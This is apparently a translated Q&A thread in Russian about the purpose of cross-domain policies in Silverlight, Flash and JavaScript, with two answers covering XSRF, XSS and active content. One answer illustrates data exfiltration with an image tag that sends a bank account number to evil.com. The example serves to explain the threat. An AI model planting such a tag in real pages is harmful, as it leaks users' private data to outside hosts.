Кросс-доменные политики Silverlight, Flash и Javascript - PullRequest
0 голосов
/ 21 сентября 2009

Немного туманный вопрос:

Этот вопрос связан с попытками использовать потоки не-asf в Silverlight с использованием MediaStreamSource в качестве источника MediaElement. Междоменные проблемы здесь очень разочаровывают.

Обычно общение между доменами в сети запрещено.

Если я правильно понимаю, скажем, вредоносный сайт / внедренный объект A может отправлять запросы на защищенный сайт B, с которым пользователь вошел в систему, отправляются файлы cookie с аутентификацией, а затем происходят неприятности.

В Flash / Silverlight ситуация улучшается за счет файлов междоменной политики на хосте (например, B), позволяющих или запрещающих передачу сообщений из других доменов, но это все еще ограничивает при попытке анализа потоков мультимедиа из других доменов.

Не было бы лучшим решением запретить отправку файлов cookie с A-> B, а не запретить все сообщения?

Чего мне не хватает? Какие другие принципы лежат в основе существующих междоменных правил / реализаций?

Ответы [ 2 ]

1 голос
/ 21 сентября 2009

Причины междоменных политик - это не просто файлы cookie / сеансы как таковые. В те дни, когда веб-контент представлял собой просто «тупой» HTML и изображения, реальной проблемы безопасности не было, если на сайте B отображалась страница, загруженная изображениями с сайта A. И если была проблема, не связанная с безопасностью (например, желание предотвратить хотлинкинг) по причинам IP) обслуживающий сайт может потребовать сеанса или тому подобного. Но теперь, когда веб-ресурсы включают в себя сценарии, такие как Flash, SilverLight, JS, iFrames и двоичные потоки (которые могут быть любыми), если эти ресурсы остаются доступными для сценариев при отображении на странице с другого сайта, угрозы безопасности слишком велики.

Таким образом, междоменные политики в основном отражают уступку в том, что нецелесообразно ожидать, что сайты «откажутся» от таких рисков, вручную блокируя доступ к активным ресурсам (так они и должны делать, если хотят заблокировать изображения с горячей ссылкой или требуют сеанс для определенных страниц). Бремя преобразуется по умолчанию в более безопасный случай, так что обслуживающий сайт должен «согласиться» с таким риском, определенно выбрав, какие активы сделать доступными для нескольких доменов, а кому сделать их доступными.

1 голос
/ 21 сентября 2009

Неправильное использование файлов cookie аутентификации (XSRF, некоторые сценарии XSS) - это только часть проблемы. Также довольно легко отправить информацию с «хорошего» сайта на «злой» с помощью строки запроса (например, получить некоторые данные со страницы банка и отправить их на evil.com, указав <image src="http://evil.com/1px.gif?bankaccount=1122334455"/>

Блокировка файлов cookie может ограничить доступ с плохого сайта к хорошему, но вам также нужно следить за случаями, когда внедрение сценария или другие атаки раскрывают данные на доверенном сайте, которые затем могут быть переданы на плохой сайт, и это не требует куки.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...